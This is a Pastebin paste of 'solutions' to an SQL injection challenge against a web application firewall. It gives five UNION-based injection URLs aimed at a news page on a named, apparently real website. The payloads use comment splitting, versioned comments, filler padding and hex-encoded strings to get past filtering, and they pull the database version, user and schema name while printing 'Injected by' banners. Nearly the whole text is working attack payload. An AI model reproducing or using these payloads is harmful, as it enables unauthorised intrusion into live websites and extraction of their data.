Advertisement
bilasi

Sqli challenge Solution (waf)

May 15th, 2016
1,314
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
SQL 2.76 KB | None | 0 0
  1. Amir bro solution:
  2. ==================
  3. http://edonma.com/newsview.php?id=15.1 AND/**_**/@x:=concat/**_**/((0x4b6173686d6972692043686565746168),(0x3c62723e),(0x76657273696f6e203a3a20),((REPLACE(version(),0x0a,0x0a))),(0x3c62723e),(0x75736572203a3a20),(USER/**_**/()),(0x3c62723e),(0x4461746162617365203a3a20),(schema/**_**/()))/**_**/UnIoN%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0ASeLeCt%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0a1,@x,%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0a3,%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0a4,/**_**/7,/**_**/4,/**_**/5,/**_**/6,/**_**/7
  4. Mohammad Forhad Solution:
  5. ==========================
  6. http://edonma.com/newsview.php?id=-15/**8**//*!50000unIon*/ SELECT/**8**/1,concat/**8**/(0x4a6f6b72204861786f723c62723e56657273696f6e3a3a,@@version,0x3c62723e44617461626173653a3a,DATABASE(),0x3c62723e55736572203a3a3a20,USER()),3,4,5,6,7,8,9%23
  7.  
  8. Sajib Modak Solution:
  9. =====================
  10. http://edonma.com/newsview.php?id=15  div @x:=COnCat/**_**/(version(),0x203a3a20696e6a6563742062792073616a6962,0x3c62723e75736572203a3a20,USER(),0x3c62723e6461746162617365203a3a20,DATABASE())  UNION distinctRow SELECT 1,@x,~3,~4,~5,~6,~7,~8,~9
  11.  
  12. Shaifullah Shaon Solution:
  13. ==========================
  14. http://edonma.com/newsview.php?id=(15) IS/**_**/NULL/**_**/UNION(SELECT(1),(0x3c6d6172717565653e3c68313e496e6a656374656420427920436c6f7564792056697275733c2f68313e3c2f6d6172717565653e),concat/**_**/(0x76657273696f6e203a3a3a20,@@INNODB_VERSION,0x3c62723e,0x55736572203a3a3a20,SYSTEM_USER(),0x3c62723e,0x4461746162617365203a3a3a20,/**_**/DATABASE()),(4),(5),(6),(7),(8),(9))
  15.  
  16. My syntax:
  17. http://edonma.com/newsview.php?id=15 AND/**x**/FALSE union%23%0aselect%23AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%0a1,2,CoNcAt/**x**/(0x3c666f6e7420636f6c6f723d7265643e,0x496e6a65637465642062792044697075,0x3c62723e,0x7573657220203a3a2020,0x3c666f6e7420636f6c6f723d677265656e3e,USER(),0x3c62723e,0x76657273696f6e203a3a2020,0x3c666f6e7420636f6c6f723d7265643e,@@innodb_version,0x3c62723e,0x6461746162617365203a3a2020,0x3c666f6e7420636f6c6f723d677265656e3e,DATABASE()),4,5,6,7,8,9 %23
  18.  
  19. youtube link:
  20. https://www.youtube.com/watch?v=jE-faiXn_X0&feature=youtu.be
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement